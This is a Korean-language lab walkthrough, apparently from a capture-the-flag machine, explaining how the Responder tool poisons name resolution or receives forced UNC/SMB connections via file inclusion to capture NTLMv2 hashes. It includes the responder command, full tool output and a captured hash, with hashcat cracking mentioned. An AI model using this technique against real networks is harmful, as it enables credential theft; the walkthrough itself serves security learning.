1. 개요
Windows 네트워크 상에서 컴퓨터들에게 자신이 목적지인 척 속여서 접속을 유도하고, 접속 시 계정 정보를 유도해 Hash화 된 크리덴셜을 탈취를 목적으로 하는 가짜 목적지이다.
1.1. 실수를 노리는 경우
\\fileserver 와 같이 탐색기에서 검색을 해야 하는데 실수로 \\fielserver 라고 검색하는 경우, DNS 서버는 실패라고 응답할 수 있다. 그러면 Victim PC 는 네트워크에 fielserver 의 존재를 찾는데, Responder 가 내가 fielserver 라고 응답하고, Victim PC는 Responder 를 진짜 서버로 믿고 로그인 하기 위해 NTLMv2 Hash 를 제공하여 Responder 를 운영하는 해커가 해쉬화된 비밀번호를 받아볼 수 있게 만들어 준다.
1.2. 강제로 접속을 시키는 경우
웹 취약점(LFI, XSS 등) 등을 이용해 내 컴퓨터에 접속하게 만든다.
2. 사용법
Windows 시스템에서 운영되는 웹사이트에 File Inclusion 취약점을 찾았다고 하자. 그러면 우리는 SMB 서버를 Responder 를 통해 열고 우리의 Kali 에 접근시킬 수 있을 것이다.
이 때 주소를 //10.10.14.143/share/hello.txt 와 같이 한다면 Windows 에서는 /share 같은 경로가 네트워크 상에 다른 공유 폴더를 의미하고 이를 UNC 경로 라고 한다. 그래서 이 경로를 처리할 때 SMB 프로토콜 을 이용해서 해당 IP 에 접속을 시도한다.

위와 같이 접속을 하기 전 아래와 같이 Responder 를 통해 Listen 하고 있어야 하고 그 다음에 위의 경로로 접근을 시도한다. 그러면 Windows 에서 우리의 Responder 로 접근을 하면서 계정 정보를 NTLM 해쉬 값으로 전달한다. 이를 hashcat -m 5600 을 통해서 복호화 하면 크리덴셜을 획득할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Flight]
└─# responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.6.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.143]
Responder IPv6 [dead:beef:2::108d]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-L72948LWT0W]
Responder Domain Name [P1TD.LOCAL]
Responder DCE-RPC Port [45034]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.37.19
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash : svc_apache::flight:b2d00d2e77bded9a:F751E503DB40635B634BF5AD73E2E81C:01010000000000000084DD44716EDC01658FC2423D8494DA0000000002000800500031005400440001001E00570049004E002D004C00370032003900340038004C00570054003000570004003400570049004E002D004C00370032003900340038004C0057005400300057002E0050003100540044002E004C004F00430041004C000300140050003100540044002E004C004F00430041004C000500140050003100540044002E004C004F00430041004C00070008000084DD44716EDC01060004000200000008003000300000000000000000000000003000005E97E350D540DFE792485F9F5DA3A87CB40851325C491D5D0CA4B0412BBE19460A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100340033000000000000000000
[...SNIP...]